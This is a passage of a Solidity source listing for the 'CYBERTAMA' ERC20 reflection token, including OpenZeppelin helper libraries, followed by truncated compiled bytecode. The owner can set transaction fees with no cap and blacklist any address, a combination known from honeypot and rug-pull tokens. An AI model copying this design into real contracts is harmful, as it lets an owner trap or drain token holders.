Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/utils/math/SafeMath.sol // OpenZeppelin Contracts v4.4.1 (utils/math/SafeMath.sol) pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // File: @openzeppelin/contracts/token/ERC20/IERC20.sol // OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: contracts/cybers.sol pragma solidity ^0.8.10; contract CYBERTAMAToken is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; mapping(address => bool) public _isBlackListed; mapping(address => bool) private _isExcluded; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 1 * 10**9 * 10**18; //1 billion tokens uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private _name = "CYBERTAMA"; string private _symbol = "CYBER"; uint8 private _decimals = 18; struct BuyFee { uint16 liquidityFee; uint16 marketingFee; uint16 buybackFee; uint16 taxFee; } struct SellFee { uint16 liquidityFee; uint16 marketingFee; uint16 buybackFee; uint16 taxFee; } BuyFee public buyFee; SellFee public sellFee; uint16 private _taxFee; uint16 private _liquidityFee; uint16 private _marketingFee; uint16 private _buybackFee; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; address public _marketingWallet = payable(address(0xfac820D7fa7267cc7A9213006a477c064b3bFf80)); address public _buybackWallet = payable(address(0x58550ec20AA8D496eCdB8Fb8aa9231Da79850c98)); bool internal inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; bool public isTradingEnabled; uint256 public maxBuyAmount; uint256 public maxSellAmount; uint256 public maxWalletAmount; uint256 private numTokensSellToAddToLiquidity = 1 * 10**5 * 10**18; // 100k tokens event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap); event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); modifier lockTheSwap() { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor() { _rOwned[_msgSender()] = _rTotal; buyFee.liquidityFee = 2; buyFee.marketingFee = 7; buyFee.buybackFee = 1; //dev wallet buyFee.taxFee = 2; sellFee.liquidityFee = 2; sellFee.marketingFee = 7; sellFee.buybackFee = 1; //dev wallet sellFee.taxFee = 2; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); // Create a uniswap pair for this new token uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); // set the rest of the contract variables uniswapV2Router = _uniswapV2Router; //exclude owner and this contract from fee _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; maxSellAmount = totalSupply().mul(125).div(100000); maxBuyAmount = totalSupply().mul(125).div(100000); maxWalletAmount = totalSupply().mul(5).div(1000); emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue) ); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].sub( subtractedValue, "ERC20: decreased allowance below zero" ) ); return true; } function isExcludedFromReward(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function deliver(uint256 tAmount) public { address sender = _msgSender(); require( !_isExcluded[sender], "Excluded addresses cannot call this function" ); (uint256 rAmount, , , , , ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns (uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount, , , , , ) = _getValues(tAmount); return rAmount; } else { (, uint256 rTransferAmount, , , , ) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeFromReward(address account) public onlyOwner { require(!_isExcluded[account], "Account is already excluded"); if (_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeInReward(address account) external onlyOwner { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function excludeFromFee(address account) external onlyOwner { _isExcludedFromFee[account] = true; } function setBlackList(address addr, bool value) external onlyOwner { _isBlackListed[addr] = value; } function enableTrading() external onlyOwner { isTradingEnabled = true; } function includeInFee(address account) external onlyOwner { _isExcludedFromFee[account] = false; } function setBuyFee( uint16 liq, uint16 market, uint16 buyback, uint16 tax ) external onlyOwner { buyFee.liquidityFee = liq; buyFee.marketingFee = market; buyFee.buybackFee = buyback; buyFee.taxFee = tax; } function setSellFee( uint16 liq, uint16 market, uint16 buyback, uint16 tax ) external onlyOwner { sellFee.liquidityFee = liq; sellFee.marketingFee = market; sellFee.buybackFee = buyback; sellFee.taxFee = tax; } function setNumTokensSellToAddToLiquidity(uint256 numTokens) external onlyOwner { numTokensSellToAddToLiquidity = numTokens; } function updateRouter(address newAddress) external onlyOwner { require(newAddress != address(uniswapV2Router), "TOKEN: The router already has that address"); uniswapV2Router = IUniswapV2Router02(newAddress); address get_pair = IUniswapV2Factory(uniswapV2Router.factory()).getPair(address(this), uniswapV2Router.WETH()); if (get_pair == address(0)) { uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); } else { uniswapV2Pair = get_pair; } } function setMaxWallet(uint256 value) external onlyOwner { maxWalletAmount = value * 10**18; } function setMaxBuyAmount(uint256 value) external onlyOwner { maxBuyAmount = value * 10**18; } function setMaxSellAmount(uint256 value) external onlyOwner { maxSellAmount = value * 10**18; } function setMarketingWallet (address payable wallet) external onlyOwner { require (wallet != address(0), "marketingWallet address can not be zero!"); _marketingWallet = wallet; } function setBuyBackWallet (address payable wallet) external onlyOwner { require (wallet != address(0), "buybackWallet address can not be zero!"); _buybackWallet = wallet; } function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner { swapAndLiquifyEnabled = _enabled; emit SwapAndLiquifyEnabledUpdated(_enabled); } function claimStuckTokens(address _token) external onlyOwner { require(_token != address(this), "No rug pulls :)"); if (_token == address(0x0)) { payable(owner()).transfer(address(this).balance); return; } IERC20 erc20token = IERC20(_token); uint256 balance = erc20token.balanceOf(address(this)); erc20token.transfer(owner(), balance); } //to recieve ETH from uniswapV2Router when swaping receive() external payable { this; } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { ( uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity, uint256 tBuyback, uint256 tMarketing ) = _getTValues(tAmount); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues( tAmount, tFee, tLiquidity, tBuyback, tMarketing, _getRate() ); return ( rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity ); } function _getTValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256 ) { uint256 tFee = calculateTaxFee(tAmount); uint256 tLiquidity = calculateLiquidityFee(tAmount); uint256 tBuyback = calculateBuyBackFee(tAmount); uint256 tMarketing = calculateMarketingFee(tAmount); uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity); tTransferAmount = tTransferAmount.sub(tBuyback).sub(tMarketing); return (tTransferAmount, tFee, tLiquidity, tBuyback, tMarketing); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 tBuyback, uint256 tMarketing, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rLiquidity = tLiquidity.mul(currentRate); uint256 rBuyback = tBuyback.mul(currentRate); uint256 rMarketing = tMarketing.mul(currentRate); uint256 rTransferAmount = rAmount .sub(rFee) .sub(rLiquidity) .sub(rBuyback) .sub(rMarketing); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if ( _rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply ) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _takeLiquidity(uint256 tLiquidity) private { uint256 currentRate = _getRate(); uint256 rLiquidity = tLiquidity.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity); if (_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity); } function _takeRewardAndMarketing(uint256 tBuyback, uint256 tMarketing) private { uint256 currentRate = _getRate(); uint256 rBuyback = tBuyback.mul(currentRate); uint256 rMarketing = tMarketing.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rMarketing).add( rBuyback ); _tOwned[address(this)] = _tOwned[address(this)].add(tMarketing).add( tBuyback ); } function calculateTaxFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_taxFee).div(10**2); } function calculateLiquidityFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_liquidityFee).div(10**2); } function calculateBuyBackFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_buybackFee).div(10**2); } function calculateMarketingFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_marketingFee).div(10**2); } function removeAllFee() private { _taxFee = 0; _liquidityFee = 0; _buybackFee = 0; _marketingFee = 0; } function setBuy() private { _taxFee = buyFee.taxFee; _liquidityFee = buyFee.liquidityFee; _buybackFee = buyFee.buybackFee; _marketingFee = buyFee.marketingFee; } function setSell() private { _taxFee = sellFee.taxFee; _liquidityFee = sellFee.liquidityFee; _buybackFee = sellFee.buybackFee; _marketingFee = sellFee.marketingFee; } function isExcludedFromFee(address account) public view returns (bool) { return _isExcludedFromFee[account]; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!_isBlackListed[from] && !_isBlackListed[to],"Account is blacklisted"); require(isTradingEnabled || _isExcludedFromFee[from], "Trading is not enabled yet"); // is the token balance of this contract address over the min number of // tokens that we need to initiate a swap + liquidity lock? // also, don't get caught in a circular liquidity event. // also, don't swap & liquify if sender is uniswap pair. uint256 contractTokenBalance = balanceOf(address(this)); bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity; if ( overMinTokenBalance && !inSwapAndLiquify && from != uniswapV2Pair && swapAndLiquifyEnabled ) { contractTokenBalance = numTokensSellToAddToLiquidity; uint256 forMarketing = contractTokenBalance .mul(buyFee.marketingFee + sellFee.marketingFee) .div( buyFee.marketingFee + sellFee.marketingFee + buyFee.liquidityFee + sellFee.liquidityFee + buyFee.buybackFee + sellFee.buybackFee ); swapAndSendMarketing(forMarketing); uint256 forBuyBack = contractTokenBalance .mul(buyFee.buybackFee + sellFee.buybackFee) .div( buyFee.marketingFee + sellFee.marketingFee + buyFee.liquidityFee + sellFee.liquidityFee + buyFee.buybackFee + sellFee.buybackFee ); swapAndSendBuyBack(forBuyBack); swapAndLiquify(contractTokenBalance - forMarketing - forBuyBack); } //indicates if fee should be deducted from transfer bool takeFee = true; //if any account belongs to _isExcludedFromFee account then remove the fee if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } //transfer amount, it will take tax, buyback, liquidity fee _tokenTransfer(from, to, amount, takeFee); } function swapAndLiquify(uint256 tokens) private lockTheSwap{ // split the contract balance into halves uint256 half = tokens.div(2); uint256 otherHalf = tokens.sub(half); uint256 initialBalance = address(this).balance; // swap tokens for ETH swapTokensForEth(half); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered // how much ETH did we just swap into? uint256 newBalance = address(this).balance.sub(initialBalance); // add liquidity to uniswap addLiquidity(otherHalf, newBalance); emit SwapAndLiquify(half, newBalance, otherHalf); } function swapAndSendMarketing(uint256 amount) private lockTheSwap { uint256 initialBalance = address(this).balance; swapTokensForEth(amount); uint256 newBalance = address(this).balance.sub(initialBalance); payable(_marketingWallet).transfer(newBalance); } function swapAndSendBuyBack(uint256 amount) private lockTheSwap { uint256 initialBalance = address(this).balance; swapTokensForEth(amount); uint256 newBalance = address(this).balance.sub(initialBalance); payable(_buybackWallet).transfer(newBalance); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable address(0xdead), block.timestamp ); } //this method is responsible for taking all fee, if takeFee is true function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { removeAllFee(); if (takeFee) { if (recipient != uniswapV2Pair) { require( balanceOf(recipient) + amount <= maxWalletAmount, "Balance exceeds limit" ); } if (sender == uniswapV2Pair) { require(amount <= maxBuyAmount, "Buy exceeds limit"); setBuy(); } if (recipient == uniswapV2Pair) { require(amount <= maxSellAmount, "Sell exceeds limit"); setSell(); } } if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _takeRewardAndMarketing( calculateBuyBackFee(tAmount), calculateMarketingFee(tAmount) ); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _takeRewardAndMarketing( calculateBuyBackFee(tAmount), calculateMarketingFee(tAmount) ); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity ) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _takeRewardAndMarketing( calculateBuyBackFee(tAmount), calculateMarketingFee(tAmount) ); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity ) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _takeRewardAndMarketing( calculateBuyBackFee(tAmount), calculateMarketingFee(tAmount) ); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } }
0x6080604052600436106102b25760003560e01c806368092bd911610175578063a4640b82116100dc578063dd62ed3e11610095578063f0f165af1161006f578063f0f165af14610915578063f2fde38b14610935578063f34eb0b814610955578063f9d0831a1461097557600080fd5b8063dd62ed3e1461088f578063e99c9d09146108d5578063ea2f0b37146108f557600080fd5b8063a4640b82146107d9578063a9059cbb146107f9578063aa4bde2814610819578063bc3e07391461082f578063c49b9a801461084f578063c851cc321461086f57600080fd5b80638a8c523c1161012e5780638a8c523c146107315780638da5cb5b146107465780638dc644391461076457806395d89b4114610784578063962dfc7514610799578063a457c2d7146107b957600080fd5b806368092bd91461065d5780636c9bb93b1461067d57806370a08231146106ad578063715018a6146106cd57806388e765ff146106e257806388f82020146106f857600080fd5b80633bd5d1731161021957806352390c02116101d257806352390c021461058e5780635342acb4146105ae5780635bcbe877146105e75780635d0044ca146106075780635d098b381461062757806366d602ae1461064757600080fd5b80633bd5d173146104b4578063437823ec146104d45780634549b039146104f4578063470624021461051457806349bd5a5e1461054d5780634a74bb021461056d57600080fd5b806323b872dd1161026b57806323b872dd146103a95780632b14ca56146103c95780632d83811914610430578063313ce567146104505780633685d41914610472578063395093511461049457600080fd5b8063064a59d0146102be57806306fdde03146102f4578063095ea7b31461031657806313114a9d146103365780631694505e1461035557806318160ddd1461039457600080fd5b366102b957005b600080fd5b3480156102ca57600080fd5b506013546102df90600160b01b900460ff1681565b60405190151581526020015b60405180910390f35b34801561030057600080fd5b50610309610995565b6040516102eb91906130e9565b34801561032257600080fd5b506102df610331366004613153565b610a27565b34801561034257600080fd5b50600a545b6040519081526020016102eb565b34801561036157600080fd5b5060105461037c90600160401b90046001600160a01b031681565b6040516001600160a01b0390911681526020016102eb565b3480156103a057600080fd5b50600854610347565b3480156103b557600080fd5b506102df6103c436600461317f565b610a3e565b3480156103d557600080fd5b50600f546104029061ffff80821691620100008104821691600160201b8204811691600160301b90041684565b6040805161ffff958616815293851660208501529184169183019190915290911660608201526080016102eb565b34801561043c57600080fd5b5061034761044b3660046131c0565b610aa7565b34801561045c57600080fd5b50600d5460405160ff90911681526020016102eb565b34801561047e57600080fd5b5061049261048d3660046131d9565b610b30565b005b3480156104a057600080fd5b506102df6104af366004613153565b610ce6565b3480156104c057600080fd5b506104926104cf3660046131c0565b610d1c565b3480156104e057600080fd5b506104926104ef3660046131d9565b610e06565b34801561050057600080fd5b5061034761050f366004613204565b610e54565b34801561052057600080fd5b50600e546104029061ffff80821691620100008104821691600160201b8204811691600160301b90041684565b34801561055957600080fd5b5060115461037c906001600160a01b031681565b34801561057957600080fd5b506013546102df90600160a81b900460ff1681565b34801561059a57600080fd5b506104926105a93660046131d9565b610ee1565b3480156105ba57600080fd5b506102df6105c93660046131d9565b6001600160a01b031660009081526004602052604090205460ff1690565b3480156105f357600080fd5b5061049261060236600461324b565b611034565b34801561061357600080fd5b506104926106223660046131c0565b6110b9565b34801561063357600080fd5b506104926106423660046131d9565b6110fb565b34801561065357600080fd5b5061034760155481565b34801561066957600080fd5b5061049261067836600461329f565b6111ae565b34801561068957600080fd5b506102df6106983660046131d9565b60056020526000908152604090205460ff1681565b3480156106b957600080fd5b506103476106c83660046131d9565b611203565b3480156106d957600080fd5b50610492611262565b3480156106ee57600080fd5b5061034760145481565b34801561070457600080fd5b506102df6107133660046131d9565b6001600160a01b031660009081526006602052604090205460ff1690565b34801561073d57600080fd5b50610492611298565b34801561075257600080fd5b506000546001600160a01b031661037c565b34801561077057600080fd5b5061049261077f36600461324b565b6112d7565b34801561079057600080fd5b5061030961135c565b3480156107a557600080fd5b5060125461037c906001600160a01b031681565b3480156107c557600080fd5b506102df6107d4366004613153565b61136b565b3480156107e557600080fd5b506104926107f43660046131d9565b6113ba565b34801561080557600080fd5b506102df610814366004613153565b61146b565b34801561082557600080fd5b5061034760165481565b34801561083b57600080fd5b5060135461037c906001600160a01b031681565b34801561085b57600080fd5b5061049261086a3660046132cd565b611478565b34801561087b57600080fd5b5061049261088a3660046131d9565b6114fa565b34801561089b57600080fd5b506103476108aa3660046132ea565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b3480156108e157600080fd5b506104926108f03660046131c0565b6118f4565b34801561090157600080fd5b506104926109103660046131d9565b611936565b34801561092157600080fd5b506104926109303660046131c0565b611981565b34801561094157600080fd5b506104926109503660046131d9565b6119b0565b34801561096157600080fd5b506104926109703660046131c0565b611a4b565b34801561098157600080fd5b506104926109903660046131d9565b611a8d565b6060600b80546109a490613318565b80601f01602080910402602001604051908101604052809291908181526020018280546109d090613318565b8015610a1d5780601f106109f257610100808354040283529160200191610a1d565b820191906000526020600020905b815481529060010190602001808311610a0057829003601f168201915b5050505050905090565b6000610a34338484611c68565b5060015b92915050565b6000610a4b848484611d8c565b610a9d8433610a988560405180606001604052806028815260200161356b602891396001600160a01b038a166000908152600360209081526040808320338452909152902054919